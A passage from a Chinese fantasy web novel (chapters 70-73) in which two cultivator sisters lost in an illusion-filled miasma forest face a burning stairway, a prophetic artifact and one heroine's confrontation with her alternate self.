安泛泛一直在跑，她不敢停下，一是怕那团浓雾吞没她，二是怕东闲可能在前面，方才她蹲在原地太耽误时间，她跑得快点可能还能追上东闲。
瘴气跟上来的速度很慢，安泛泛逃命似的奔跑很快能将其远远甩在后面。
她稍稍安心，目光在周围搜寻着一人的身影，终于看见东闲躺在一棵树前，看上去似乎是晕过去。
“慕婉思！”
安泛泛欣喜唤道，上前去拉她，摸到手的触感寒凉刺骨还很硌手，低头一看自己握住的居然是骷髅架子，安泛泛心跳如擂鼓，几近崩溃。
这一路她看到太多骷髅，是不是马上她就要成为骷髅的一员了。
她只能强打精神，继续在附近搜寻，只要找到东闲她们二人都能得救。
瘴林似乎很大，没有出路，但安泛泛知道，自己可能“故地重游”。
她倒是想用做标记的方法，但是她做下的标记都会在做成的那一刻消失。
瘴林越来越不对劲了，发现她的内心恐慌后，安泛泛已经频频生幻觉，两条腿软绵无力，失去了行动的能力。
安泛泛后背再次紧贴树身，徐徐滑落下坠，她的精神受到长时间的折磨，睁开眼，就得被迫看见各种幻象，闭上眼就能听见各种诱使她睁开眼的声音，而当她就两边都掩住，她又感觉有人在触摸她的身体，脑海里也情不自禁地描绘对方恐怖阴暗的外观。
轻微细小的声音在过于静悄的瘴林中，犹如被放大数倍，安泛泛瞬间鸡皮疙瘩起了，她僵硬地驻足在原地，连呼吸都放轻了，生怕被来的不知是人是鬼的东西给发现。
她没办法救出东闲，她根本找不到路，她花上很久的时间却发现自己还在原地打转。
安泛泛失神地看着眼前幻象，走马观花般，闪过一个又一个景象。
此刻她还是希望东闲不在瘴林并且脱离了危险，被亓沂师姐救走。
那我怎么办呢？
安泛泛不知道，她麻木地看着眼前的幻象，一会是父母耐心教导她药道常理，一会是东闲送来的冰酪，一会是和小姐妹们挑新衣裳。
这是临死前的幻想吗？
安泛泛一眨不眨地盯着眼前的一切，因为知道是假的而始终没有动作，但是她的目光留恋又渴盼，她心中是不想死的，若是眼前的一切都是真的该多好。
画面又变了回来，有一人缓缓朝这而来，那人的面容是安泛泛不可能忘却的，因为安泛泛来这里的目的就是她。
安泛泛感到很不解。
为什么我都要死了，想着的是慕婉思来找我，明明我更希望慕婉思能活着出去。
70.第 70 章
安泛泛仍然不敢动，并不敢相信眼前人是真实的，据说瘴林待久了精神会受到影响，会看见自己最想看见的人，就如海市蜃楼一般，都是临死前的幻想。
先前她幻视过东闲在附近，却将白骨误认为东闲，如今再见到东闲，不免怀疑她还是假象。
安泛泛觉得自己再继续待下去，一定会精神失常成为疯子的。
现下，她只当眼前的人是幻象，但是因为东闲的出现与自己目前渴望的幻象有出入，所以她一眨不眨地盯着对方，想看看这是一个什么样的幻象。
当东闲走到她面前，拿起她的手后，安泛泛不禁惊异地想到，瘴林已经厉害到出现的幻象都能有实体吗。
东闲眼眸温柔如水，面上是让人放下戒备完全信赖的笑容，眸内心疼与惊喜的情绪真实得使她看起来像个真人。
她看出安泛泛的怀疑与惧怕，在她尝试靠近安泛泛接过她的手时，她能感觉到安泛泛全身明显地战栗。
她在怕我。
人是真的，东闲寻了很久安泛泛，进入瘴林后她捡到安泛泛遗留的星图，识海深处的神识再次发作，要让她尽快找到安泛泛。
东闲没办法摆脱神识，只能耐住性子四处辗转，在瘴林待得太久，精神会受到影响，但是她本身就不怕这些，瘴林类似精神的攻击到她这就跟失效了一般，她唯一烦恼的是，不能找到安泛泛就扰得她头痛欲裂的神识。
因为星图不在安泛泛手上，所以留在星图上安泛泛的位置变化得很混乱，不过对于东闲来说寻人还是容易的，几经辗转就找到抱膝坐在树前，傻愣愣地发着呆的安泛泛。
她看上去吓惨了，连自己的出现都觉得是幻象，小仓鼠的一对黑溜溜的眼睛盯着她，动也不动，瞧着倒是让人生起怜爱。
东闲矮下身子，接过安泛泛的手，贴在脸颊上，以真实的触感告诉安泛泛，是她来了。
“师姐，我在这。”
女人如水的目光包裹住她，温热的温度透过掌心传到心里，一颗七上八下不得的心，奇迹地得到安抚。
安泛泛有瞬间不想再装坚强，一把扑进东闲怀里，紧紧地拥住。
安泛泛不得不自私地承认，自己不想被丢在瘴林中，不被觉察地死去，管它是幻象还是现实，她都无比希望有一个人能找到她，就算这个人是东闲。
她太希望有个人陪她了。
安泛泛抱住东闲的两臂忍不住收紧，东闲安抚地拍着她的后背。
东闲的怀抱很温暖，又时不时地轻抚着她的后背告诉她自己的存在，安泛泛靠在东闲的肩颈上，感觉一身的恐惧与紧张都消失不见，她甚至觉得自己又可以站起来面对瘴林了，当然，东闲必须在她身侧！
安泛泛的情绪稳定许多，她感觉到自己的动作有些丢人，难为情地松开东闲，神色略显不自然。
两人都站起来，东闲的到来让安泛泛深受鼓舞，她总是亲切的笑容，连带着瘴林恐怖阴森的气氛都削弱了不少。
安泛泛四处张望了下，心道瘴林也不过如此，怎么就把我吓得不敢走了呢。
安泛泛转而对着东闲肃着一张脸道：“你去哪了，你知不知道我很担心你，我找了很久都没找到你，我差点以为你都要没了。”
岂料东闲表现得比她还凶。
“所以说师姐是为了我才差点迷失在瘴林出不来，师姐原本可以安全地待在原地，但是放心不下我，宁愿牺牲性命也要找到我，可是师姐，你知不知道当我得知你没有跟过同我们一起受苦我有多开心。”
对上东闲生气严厉的视线，安泛泛很是心虚，底气不足地道：“你干嘛说得那么严重，我又没出事，不是好好地站在这嘛。”
东闲难得在安泛泛面前绷着张脸，看起来要比黑老头还吓人，是真的在生气。
“就算是师姐为了我，也不能独自来到这么危险的地方，如若不是因为星图，我可能永远不知道师姐你会进入瘴林，永远失去师姐。”
安泛泛不想在这个话题上继续，没想到生气起来的东闲格外地有压迫感，明明以往只要她硬气，东闲都会百般顺从她。
安泛泛有意转移话题，问道：“你不在瘴林吗？”
东闲反问道：“师姐不知道我在哪就敢随便进去瘴林吗。”
安泛泛呆愣地“啊”了一声。
太可怕了，生气起来的东闲也就比独自待在瘴林少可怕那么一点点。
东闲继续道：“我不在瘴林，也没有出事，虽然和大家分离了一段路，但是因为师姐突然过来我为了找到师姐才跟大家分开的。”
安泛泛读懂她的话外之意，也就是说是她好心办坏事。
安泛泛没法否认东闲的话，但是心里很不开心，她也是不了解东闲的情况，担心她才来的，干嘛要凶她。
她有些想耍性子，凶就凶吧，但是东闲看不出她已经知错了吗，为什么还要在同一件事上揪住不放，再这么说自己也是为了东闲呀，东闲也没有资格说她的。
怎能料到东闲又牵住她的手，这回与方才带着安抚意味的牵手不一样，轻微地颤意传递给安泛泛，就好像东闲再也压不住心中的惧怕，一颗其实并不安定的心完全地剖露在安泛泛眼前，告诉她，这颗心曾也害怕过，比她一个人在瘴林独守煎熬只多不少。
“师姐，我好怕，我捡到你的星图，差点以为你……这个地方不安全，有太多东西了，我总觉得有什么盯着我们，我们赶快走好不好。”
她脸色苍白，目光不敢偏移，只敢注视着安泛泛，流露出的求助与恐慌让安泛泛回想到不久前的自己。
安泛泛后知后觉地想到，东闲胆量小，是个被吓到就会晕倒的一个人，却是单枪匹马地来到瘴林来寻她。
听东闲的话，原本东闲还算安全跟着别人待在一起，而她却是为了自己选择来找自己，即便她也害怕，她的实力也不够。
安泛泛再看东闲，这一刻东闲强自伪装的坚强都卸下，向她表示自己的脆弱与惧怕。
东闲牵住安泛泛的手，不断上攀抓住了安泛泛的手臂，几乎是在抱住安泛泛的手臂。
安泛泛也不是很坚强的人，不然不会吓得原地不动了，如若有人比她更脆弱，她会不由自主地表现异常的强大。
安泛泛表面嫌弃，其实也很希望得到两人相依而带来的真实
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触感，这会给她很大的前行勇气。
“好吧，勉强让你靠一靠。”
两人就这样行走在瘴林中，有东闲手上的星图在，她们可以轻松地走出瘴林。
途中，东闲余光瞥见一条盘在大树上的三阶赤甲蛇，它们长相一模一样，未必是同一条，但一定是同一个种族。
东闲对曾让她失态的三阶赤甲蛇毫无好感，甚至隐生憎恶，如今再见三阶赤甲蛇，觉得这妖兽恼人得紧，害她失态还敢在她面前晃，趁着安泛泛没有注意这边的情况，她摁下右手戒环上的玄机，射出的铁丝精准地刺向三阶赤甲蛇。
铁丝的动作极快，嗖地一下便能刺穿三阶赤甲蛇的身体，出人意料的是，三阶赤甲蛇并没有死，而是在铁丝刺来时，消散了。
东闲不禁偏过脸，瞪着眼看着那棵空无一物的树上。
真的什么都没有。
东闲：“……”
她竟也被幻象给蒙蔽了双眼。
不是说瘴林的幻象对境界影响无关吗。
东闲莫名有些窘迫，尤其在安泛泛看过来后。
安泛泛长时间留在瘴林，过分紧张，东闲偏头的动作警醒了她，她立刻紧张兮兮地看过来，十分容易受惊。
东闲看出她的状态不好，于是贴心地道：“师姐害怕的话，可以再靠得近一点。”
安泛泛瞪了她一眼，“谁害怕了，明明是你在疑神疑鬼，哦，我知道了，你是害怕了不好意思说，行了行了，你想靠近点就靠近点。”
于是，安泛泛心安理得地抓紧东闲的手，跟她贴在一块，东闲觉得两人距离太近了，近得都不能好好走路，安泛泛发现了还罪人先告状佯装不高兴地瞪她。
“谁要跟你贴这么近了，走都不好走，还不是因为你太胆小，贴得近是告诉你旁边还有个人。”
东闲当作没听出她的口是心非，转而问道：“师姐，你先前是见到什么了吗，所以才停在那里不敢动。”
安泛泛反驳道：“我什么时候不敢动……”
又意识到东闲话中的不对劲，安泛泛面若金纸，牙关差点打架。
“它来了？”
东闲看着身后弥漫上来的绿瘴，轻轻地“嗯”了一声。
安泛泛顿时头皮发麻，像是齿轮生锈许久不上油的木偶般，一顿一顿地往后转。
如鬼魅般摆脱不掉的绿瘴再次逼上来，安泛泛面色奇查，感觉头脑有一阵晕眩。
她差点忘记了，还有这可怕的瘴气。
“瘴林里本该没有这东西，它不知道为何出现，跟了我一路，它一定是想把我吞掉。”
“师姐怕它？”
言语中带着不可置信的意味，但因为这点情绪不强烈，安泛泛又一心惧怕那瘴气，所以没有被安泛泛察觉到东闲莫名的激动。
安泛泛道：“它会把我们都吃掉的，我们必须尽快逃跑，在这里无论多强大的境界都没有用，我们快些走。”
“先前我并没有见到它，它看上去……”
东闲顿了下，看着安泛泛的双眼，把话补充完整：“是为了师姐而来。”
幽冷的气息弥漫开来。
71.第 71 章
她的声调平淡，却是令人遍生寒意，安泛泛下意识望住她，杏眼里的依赖与害怕清清楚楚地落在东闲的眼底，她很快又别过头去，故作坚强，好似方才是东闲的错觉。
“我走不掉吗？你带着星图走吧，这跟你无关，你留下来也只会拖我后腿。”
东闲眨眨眼道：“师姐对我未免也太不信任，我怎么会拖后腿。”
东闲怎么会走，她当然不会走，瘴林里本不该有无缘无故的瘴气吞人，这点是古怪的，而对此唯一的解释是，安泛泛遇到她的机遇。
师姐，这可不是劫，而是大吉啊。
安泛泛再转来一双担忧又惧怕的眸，她既忧心东闲会受她连累，又害怕东闲就此离开，独留她一人面对。
看来她的师姐真的对这些一无所知，竟然把机遇认为劫难，安泛泛不知命渊石预言的劫难的确没错，没有风险哪能得到高回报，这在东闲眼中就是天掉的大馅饼。
东闲都要替它委屈，它看上安泛泛，安泛泛却把它当作劫难不敢接近，跑得远远的。
哎，怎么不选我呢，我必定是乐意迎上去的。
可惜对方看不上她，看上的是安泛泛，这等有灵性的机遇东闲不想放过，安泛泛不想面对也逃不过。
星图的作用已经无效，它是强逼着安泛泛面对她的机遇。
东闲指着星图，那里已经没有了星星，连轨迹都消失。
“你看，星图已经失去作用，我们必须面对它。”
安泛泛凑了过去，发现东闲手上的星图上已是空无一物，唯有一片夜空，她再看自己手上的，果然如此。
不知何时起，瘴气已经把她们包裹其中，让她们无路可逃。
安泛泛居然悄自松口气。
星图的失效同时给了安泛泛借口，她原本说出让东闲离开的话已经鼓起很大的勇气，如若东闲再犹豫，她肯定会忍不住让东闲留下陪她，而星图的失效可以帮她隐藏这点“自私”，她有些小庆幸之余，又感到慌张。
她们真不会被留在这里吧。
安泛泛看着一旁的东闲，此刻东闲一眨不眨地盯着瘴气，似乎是被吓住了，安泛泛不禁暗自下定决心。
我一定保护好慕婉思，我们一定能出去。
不知道自己被列为需要被保护对象的东闲，正兴奋地看着徐徐上涌的瘴气，她也不知自己算运气好还是运气不好，反正能遇到机遇姑且都算作是好事吧。
灰绿的瘴气遮人视线，看不清里面有什么东西，大抵是要人进去。
“师姐，我们要不进去吧？”
安泛泛颔首，这的确是现在唯一的选择。
进去前，安泛泛再次回想起发烫的命渊石，这是她的劫难，她可能会死的。
她这点回忆的间隙，瘴气像是闻到腥气的猫瞬间扑了上去，把她们二人吞没在其中。
瘴气内仍是灰绿的瘴气，遮住了视线什么也看不见，二人只能靠着彼此的依靠来确认她们是在一起的。
东闲一想到又能拿到宝贝，面上的笑容便难以压制，仗着有瘴气遮掩，她笑得更放肆。
她轻轻捏住安泛泛的手臂，说出与面上的兴奋截然不同的胆怯言语。
“师姐，这可怎么办？”
怎么办？
安泛泛也在心中问自己，她很少会遇到这种情况，除了试炼外基本没去过其他危险的地方，就算是去试炼也从来没有单独面对过困境，一直都是跟着团队一起，大家也很照顾她，大多数就让她在后面跟着就行，而安泛泛只要能擦线及格就能满足，如今旁边有了个失忆的“慕婉思”，不亚于独自前行。
但她肯定不能胆怯的，她得振作起来。
“这种东西肯定是有规律的，区区瘴林而已，怕什么，我们再往前走走。”
瘴林覆盖过的地方，所有实物都消失，她们如履平地，毫无阻碍。
这点认知使得安泛泛心中一咯噔，真有种觉得自己被吞没无法出来的惶恐感。
安泛泛没注意，原本是东闲捏住她的手臂，不知不觉中，转为了是她捏东闲的手臂，捏得还带上了力，东闲能通过手臂上的力量感觉到安泛泛的紧张。
她分出神识看了一眼云雾遮掩的人，自她找到安泛泛后，贪狼星君便安定下来没有再有意让她头疼。
我不会伤害她，从她那讨点利息而已你不必紧张吧。
东闲如此在心中对贪狼星君道，对方没有任何动作，她顿觉无趣地收回神识。
她们凭着感觉在瘴气中行走，直到大致找到某个方向，瘴气渐渐散开，愈往前瘴气便淡几分。
东闲神色期待，心中猜测着前方的宝物会是什么，与她截然相反地，是旁侧脸色惨白如薄纸的安泛泛。
她手心冰冷，沁出薄薄的虚汗，东闲只顾着宝物，没能第一时间察觉安泛泛异样的神情。
似乎为了应证她们走的路是对的似的，瘴气驱散得差不多，前方有一条向上的阶梯。
东闲眼前一亮，当即就道：“师姐，只要上去，我们一定能找到出路。”
安泛泛脸上血色已无，双腿发软，冲着东闲摇了摇头，“你有没有发现它是在故意引诱我们上去，上面定然不安全，我们再走走吧，也许附近会有出路。”
东闲这下觉察到安泛泛的异常，发现她表现得过于恐惧，从她映着熊熊烈火的眸子似乎看见什么不一样的东西，东闲不由得回声再看见上面的天梯，平平无奇，除了每一阶都做成琉璃的质感外，实在看不出什么叫人畏惧的地方。
东闲轻声地道：“好。”
几乎是东闲刚说出一个“好”字，安泛泛便迫不及待地拉着东闲离开，都没等到“好”音落全。
东闲不合时宜地生出一个念头，若她说句不好，师姐会不会再害怕也会听着她的意见而留下。
安泛泛拉着东闲朝相反的方向离开，欲图离天梯愈来愈远，方走五步远，被一堆骷髅拦住去路。
安泛泛立刻产生一个念头，这些东西是在逼她们回去。
骷髅们缓缓逼近，安泛泛抓住她的手臂就往另一个方向要跑，东闲以为安泛泛会抽出腰间软鞭就干起来，怎料居然被她带着跑。
“师姐，我看它们未必能打得过我们，不试一下吗？”
安泛泛有理有据地道：“没道理要打下去，说不定它们跟不上来，我们省省力气也好啊。”
话是听起来有道理，可它们追上来也是瞬息的事，哪里跑
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得过。
安泛泛话音刚落，骷髅们瞬时而至，拦住她们的四方。
东闲迷惑地看着她，安泛泛好歹也有炼心境的实力，不至于见到妖怪就跑。
此前东闲就有听过有关安泛泛的传闻，说她炼心境的实力都是丹药砸上来的，只不过一直没能得到确认。
而在这时，安泛泛似乎觉得瞒不下去，又认为可以向东闲说出心事，便向东闲道出真相。
“传言说得没错，我的炼心境是用丹药磕出来的，人有三魂六魄，我自小就丢失了一魄，好在不损心智，只是无法专心修道，日后可能止步于炼心境。”
被丹药砸出来的炼心境，自然比不得旁人实打实修炼出来的炼心境，丹药磕多了会有隐患，不过安泛泛来自药道世家的安家，根本不足为惧。
东闲至此明白，为何安泛泛在心道上如此差，而且不愿同别人一起修道，每日懒散极了，是因为她知道这辈子与修道无缘，故而摆烂至此地步。
她几近绝望地道：“我不知道我能不能打败它们，我们也许永远都没办法逃离这里。”
这群骷髅向她们逼近未发动攻击，两人便以同样的速度向后退，与它们保持不远不近的距离。
东闲道：“师姐，你看到的是不是与我不同？”
安泛泛与东闲看到的景象不同，在东闲眼中的琉璃天梯，到了安泛泛眼中，则是由焰火堆成，每一层都是能灼烧她双脚的焰火。
眸中映着的烈焰似邪魔鬼怪，带着要将她生吞入腹的狠意，安泛泛长睫颤得如振翅欲飞的蝴蝶。
此刻，安泛泛确定这是冲自己而来。
她沉默着，直到身后的天梯能够窥见一角，她微乎其微地颔首，颤抖地问道：“其实不可怕的，我必须要上去？”
东闲安抚道：“师姐，这一切都是假的，无论发生什么，我都会在你旁边。”
安泛泛不由得回首看向焰火堆积的天梯，她打心底的恐惧那种焰火，一看到它，心里便会产生一定会被烧死的想法。
慕婉思肯定不知道我看见的，也仅仅是由火打造的天梯。
很奇怪的恐惧，可安泛泛就觉得自己如同面对一生天敌那般惧怕。
安泛泛道：“你要跟着我，不然会走散的。”
她已决心去直面恐惧，不然两个人都得困在这。
天梯上，无尽的火焰蔓延至天边，因安泛泛的到来而转换了走势，像只饥饿的野兽，朝着安泛泛肆虐着，安泛泛还没踏上去，便觉这烈火逼人的灼热火辣辣地刺了过来。
她看着自己没有任何遮挡、完全暴露在空气中的左手，已经被炙烤得出现大片烫斑。
很难看，又很痛。
安泛泛眼眶顷刻间蓄起泪珠。
她委屈极了，她只是想救人一起回去而已，为什么要让她遭这个罪。
东闲注意到安泛泛的动作以及开始崩溃的情绪，再次安抚道：“师姐，什么都没有。”
安泛泛长睫轻颤，问道：“真的没有吗？”
东闲看进安泛泛染上血丝的眼底，包住她被焰火炙烤得烫出瘢痕的手，牵起一抹笑。
“没有。”
很温柔的，带着难以窥见的残忍。
72.第 72 章
安泛泛忍着剧痛与害怕道：“那你在下面等我，你不要乱跑，不然我又找不到你，我不认路，我要是找不着你我一生气我就先走了，到时你可别赖我，是你不听话。”
东闲郑重地点头，道：“谨记师姐教诲，绝不会挪动半步。”
安泛泛看着向她张牙舞爪的烈焰，终究是掐诀起了个护体金罩，踏上一步，焰火贪婪地吞噬着她的双脚，滚烫的烈焰舔舐着她的肌肤，还想毁掉她的法衣。
安泛泛感觉自己身上的法衣都起了奏效，她记得东闲说过没事，应当是这里的幻境奏效，她受幻境影响故而才觉得法衣被毁坏。
疼痛都是假的，只要登顶就够了。
她忍住疼痛，回首看了一眼东闲，东闲没有动，就在原地等着她，她收回视线，一颗心稍稍安定，继续在烈焰中匍匐前进。
这里的一切果然是幻境，护体金罩与法衣都失效了，她的双脚受烈焰炙烤，每一步都不亚于踩在刀尖上，安泛泛边哭边走，她向来任性，不开心就不开心，现在的她非常不开心，都这么疼了，让她任性一下又怎么样。
一步一步蹒跚向前，大半天功夫，也只不过跨上四层台阶，安泛泛很想尽快走完全程，然而疼痛让她恨不得倒在烈焰当中几乎死去。
她看着遥远的顶端，感觉疼痛更甚。
在这吞噬她一切的烈焰中，安泛泛灼烫得要晕倒，她拼着意志坚持挺下去。
东闲眼看她已经上了四层阶梯，迎面而出现的宝物，与藏书阁提供的经卷上，描绘出的宝物分毫不差。
“太上御灵图？！”
东闲肉眼可见地畅快起来，若是此行是叫她拿到太上御灵图，那实在是太得她意了。
太上御灵图可是圣阶法器，能够预言三息后的事情，也能根据某种物品展现它的未来。
东闲眸光又转回在安泛泛身上，映在她瞳孔里的，是被熊熊烈焰吞没的身影。
东闲骗了她，她看到的与安泛泛一模一样，都是烈火浇铸的天梯，安泛泛手上炙烤出来的烫瘢是真的，她以为的灼烫与疼痛也都是真的。
让安泛泛上去，不过是为了逼太上御灵图出来，这机遇针对安泛泛一个人，自然是要让安泛泛面对这一切。
如今太上御灵图就在眼前，东闲伸手就可得到，而她也这么做了，她拿到太上御灵图，欲让它认自己为主。
奈何她想让太上御灵图认自己为主，可太上御灵图已经花有名主。
太上御灵图已经认安泛泛为主。
东闲瞥向阶梯上深受折磨的安泛泛，她已经往上爬了十层台阶，越爬越慢，身形摇摇欲坠着，看起来随时都能倒下去。
安泛泛能不惧火行走到这，理应身备不少应对的法宝，而她的神情与状态都差到极致，显然这烈焰能够不受法器与法衣的阻拦。
东闲默视着，有一滴泪水似乎穿过烈焰落在东闲面上，当东闲用手指揩去，并无任何湿腻的触感，好似只是她生了幻觉。
师姐这般娇气，应当也痛得哭了。
东闲手攥住太上御灵图，意味不明地道：“你就这么想烧死你的主人吗。”
太上御灵图一旦认主，会为主人展现她可能的死法，安泛泛如今正经历着她未来会得到的结局。
太上御灵图没有回应东闲，因为它预知安泛泛可能的死法，但不会给安泛泛带来任何实质性的伤害。
只是让她提前体验自己如何死的。
安泛泛被无尽的焰火包围，如临火烤，每一步都要耗尽她的勇气与意志，若她踩在刀尖，脚下应当尽是流淌的鲜血。
她肯定是要死的，灵渊石已经预言过她有劫难，她看着依旧遥不可及的登端，即使比先前近了许多，依旧叫人感到遥远得害怕。
她带不了东闲离开这里，太痛了，痛得她生起一股怨气，她讨厌磨人的烈焰，为什么要让她忍受烈焰。
她终是体力不支而向后倾倒，安泛泛晕乎乎着，意志已经不清醒，她大概知道自己是倒下去了，但她没有任何力气再往上爬，一点力也使不上来。
她爬了很多层，掉下去一定会摔得很惨吧。
“安泛泛，安泛泛。”
朦胧之中，她的视线中恍然晃过一张面孔。
那是一张雌雄莫辨的脸，因为距离很近，连对方面上的毛绒都看得清晰极了，对方好像不爱束发，长发尽数披散，随意地搭在肩上。
这个人抱住自己，长发便轻轻地扫过自己的脸颊，有点痒，但是很安心。
她是好人还是坏人安泛泛已经不想去分辨，安泛泛只想朝其的怀抱里拱了拱，寻了个舒适的地方窝着。
好安心。
她快要睡着前听见对方问。“疼吗？”
她闷闷地回应：“现在不疼了。”
等到东闲把她安放在一边，安泛泛已经睡了过去。
东闲神色有一刻的呆滞，惊诧于对方这么容易睡着，刚刚还被火烤痛得要死。
这是昏过去了吧，东闲抚上她的脸颊，想把她的脑袋给放好，以免她睡得落枕，却是发现她砸吧砸吧嘴，嘟囔着“冰沙好吃”。
东闲：“……”
师姐的性子当真是难得。
东闲再度回首看向天梯，安泛泛没能上成天梯，她们还在灰绿的瘴气之中，东闲只能自己试一次，也许未必是要让安泛泛爬成这天梯。
当东闲跨上第一层天梯，感受到烈焰的炙烤，但她觉得并没有痛到让人想打滚的程度，回想安泛泛的状况，不知是安泛泛娇气使然，还是这烈焰有针对性。
师姐看上去娇气，但也很坚强，想来这烈焰是很痛的。
烈焰的疼痛比劫雷好受得多，东闲无聊得都数着阶梯上去，等她走完全程，心中的数字也落到“八十一”。
而在她走完的那刻，八十一层阶梯上的烈焰全都消失，便是干净的琉璃阶梯。
东闲古怪地想到，是这烈焰与安泛泛可能的未来有关吗，如若是，等她爬完了再消失，未免太鸡贼了吧。
登顶后，她看见的是一个流光溢色的法阵，由六个雪白雕柱围成。
这太上御灵图没道理也能展现她的未来，所以在她眼前的是什么。
东闲试探性地接近，如今她们还深陷在瘴气之中，天梯指向的地方是瘴气，眼前应当是破除瘴气的关键。
法阵之上，有一个人影渐渐浮现，对方身形异常熟悉。
东闲忍不住朝其靠近，而在她靠近后，那个人就不见了，她也被一掌推到法阵中。
周遭的场景变换，这是个类似洞窟的地方，她看见自己身上全是血，回首望去，一路上堆着许多尸骨，装扮是朝天宫独有的服饰，看上去都是死在她的手上。
东闲对自己能干掉那么多人并无异议，很容易地接受了。
东闲向前走，用御风术跨过水面，落在中央的大平台上，这上面原本有结界守护，但是被人为破坏，看样子也是她弄的。
被结界护着是是一个大型的水蓝色沙漏，里面的液体像是流动着的海水，是迷人的蔚蓝色，像是受风搅动般，不断地拍打着沙漏的壁上。
“弥海沙漏。”
东闲在心中轻轻念道。
由朝天宫保护的天界神物，有时光逆转之能。
她是打伤了朝天宫的人，意图扭转时光吗？
所以，她看见的过去还是未来。
东闲不明白，为什么她看见的是这种景象，她不是在破瘴气吗，怎么就被带到这种地方来。
“是你的过去。”
如石击水面，荡起层层激纹。
这道声音与东闲的一模一样，唯一不同的是，听起来要比东闲多一种她不曾有的情绪。
东闲看着正常流动的弥海沙漏，这时的弥海沙漏还没有被动用，如若现在是她逆转时间的结果。
虽然已有预料，但这种认知还是令她尤为不爽。
“成神了吗？”
东闲忍住情绪问道。
另一个她就矗立在她身后，层层缭绕的雾弥散开来，她就是东闲识海深处的贪狼星君。
“半步。”
她曾半步飞升，而在那一刻，她才明白自己为了飞升得付出多么大的代价。
“你知道我想要什么吗？”
她没有回复。
东闲笃定道：“我会成神，所以你不能把我与你混为一谈。”
东闲转过身子，看向过去的自己，不，不能称之为过去的自己，不过是另一个度过失败一生的自己。
东闲道：“你想告诉我，贪狼星君就是我，可我也要告诉你，贪狼星君与我是两个完全不一样的人。
“你与我根本就不是同一人，在你选择把百家秘法悉数传给我时，你与我的轨迹便发生变化，我会成神，你休要妄想再拿你那点事来捆绑我，我不会遵循你的意志，我走的路是完全正确的。
“在你身上我已经能够验证，所谓的能让你后悔的情谊，完全没有用处甚至是累赘，你居然为此放弃成神，你如若是我，就该知道我想要的是什么，而为此我会不择手段。
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”
在东闲道完后，她没有任何情绪。
她知道现在的自己会后悔，就如同曾踩着挚友的尸骨达到顶峰而崩溃的自己一样。
因为，她们都是有心的。
“我的出现，只是想让你无论做出什么样的决定，都先问心，多次扭转弥海沙漏，会带来不可逆转的后果。”
东闲冷酷地道：“我没做错过决定，你可以放心了，你还有什么想要和我说的吗？”
东闲虽是这样说，面上的情绪却是透露着我绝不会听的意思来。
东闲不再看她，目光重新落在那弥海沙漏上，这时的弥海沙漏已经被动用，时光开始回溯。
东闲突然想到，另一个自己动用了弥海沙漏，现在这个时空的弥海沙漏肯定是呈现被动用后的样子，那她还得去承担另一个自己的罪责，朝天宫的人要抓自己的理由又多了一项。
她并没有做什么老实人的想法，未来做事确实可能会遭到多方追杀，但这与她无关的事让她受着，令她感到格外憋屈。
东闲还想说什么，转回来的视线发现另一个自己已经不在了，同时幻象崩塌，她重新回到法阵上。
方才是另一个自己想要她看到的东西，而她还没有突破瘴气。
这回，瘴林内所有死去的亡尸都布在这里，
难道是要她杀了它们才能打破这瘴气。
下一刻，似是要应证她的猜想，骷髅们蓄势待发，布下罗田巨网将东闲网在其中，东闲同时运转灵力，准备开放灵域，以免让半途清醒的安泛泛看到。
东闲不免想到，这瘴气是针对安泛泛的，依她的淬灵境后期的实力恐怕难以轻易打败对方。
她尝试突破巨网，巨网纹丝不动，难以破坏，如她想的那样绝非她的实力能够防御。
难道要她把安泛泛唤醒，让安泛泛来对抗吗。
忽而想到什么，东闲紧张的面孔倏地舒展，她漫不经心地勾起一抹笑，任由罗天巨网将她网住，收紧，勒住她的身体，力量大到几乎要让她死于其中。
其实，自始至终，她最大的敌人是她自己。
就在这刻，东闲终于明确地肯定这里的不正常。
东闲敏锐地觉察出不对，她发现目前的一切都是照着她们的想法来，自她以为安泛泛遇到的瘴气是有关太上御灵图的机遇，打破瘴气就必须深入瘴气而其中一定有危险，登上天梯是破除瘴气的关键，打败骷髅就能离开瘴气。
如若她觉得瘴气根本就不存在呢，这一切都是她的臆想，而瘴林把她的臆想变为现实。
她与安泛泛在瘴林待的时长早就超过一炷香，瘴林拥有惑人心智的能力，时间越久，对人的影响越大越真实，从而达到把人永远留在瘴林中的目的。
她也受了瘴林影响，她们两人根本没有被瘴气包围，一直都是她们固有的思维在误导她们，她们兴许就在原地踏步。
如若东闲还以为自己在破瘴气，那她们肯定会被困在其中。
东闲再看星图，发现星图上的两颗星星并没有消失，她看破眼前的景象是幻象，周遭景象扭曲变化，所谓的骷髅与罗天巨网都消散，原来她们还在原地。
瘴林能够根据一个人的想法变化，故而才一开始没让东闲发现，也幸亏东闲警惕，不然还真要陷进它的圈套。
东闲目光闪过异色，贪狼星君，也就是另一个自己居然没有趁机用这种机会骗她，难道真是笃定她会放弃成神的机会？
东闲心道实在荒唐，她一个野心勃勃，被清微仙尊看出重欲的人，居然会舍得放弃成神的机会？如何想也不可能。
若不是对方传授的秘法都能巧妙地解决自己所有疑问，似乎无比清楚她似的，让自己顺畅地学完，不然东闲是要怀疑对方带着别有用心的目的来接触她。
如若这一切都是真实的，那她遭受天道惩罚也有了解释，动用弥海沙漏将时光回溯到过去，的确是违背世间规律的事。
东闲脑海有点乱，那她为何有现代的记忆。
这一回，她再次想要看识海深处的身影，却是发现那里没有另一个自己。
这就走了？
东闲想了想，大抵是另一个自己的灵识留存不了太久，这一次出来是与她做道别的。
想到她以后做事不会再受神识牵绊，瞬间畅快许多。
不过既然她不是贪狼星君，那自己就没有所谓的星君赐福，回想到初次见面的异象，东闲眉头忍不住一跳，这神灵识是在故意给她制造麻烦吧。
瞥到安泛泛有
73.第 73 章
安泛泛做了很多梦，最后一场梦是噩梦，梦到她在爬天梯，没爬到一半失足掉下来，失重的感觉很真实，安泛泛一下子惊醒。
她看见的不是烈焰长梯，而是东闲关切紧张的面容。
意识渐渐回笼，她知道自己曾真真切切踩着烈火长梯，因为体力不支而半途坠下。
安泛泛想起自己要受烈焰之苦就觉得万分委屈，一睁眼看见自己信赖的面庞，她没忍得住扑进东闲怀里。
“我只是有些难过，难过就是要哭的，你没什么觉得好稀奇的，不用记得清清楚楚。”
因为紧埋在东闲怀里，她的声音显得闷闷的。
东闲任由她哭，她是真的非常委屈，在烈焰里她想哭都哭不出来，流下来的泪都蒸干了，现下在东闲怀里发泄似的拼命流淌着泪水，泪水哗哗如溪水淌过，很快洇湿了东闲胸前的衣服。
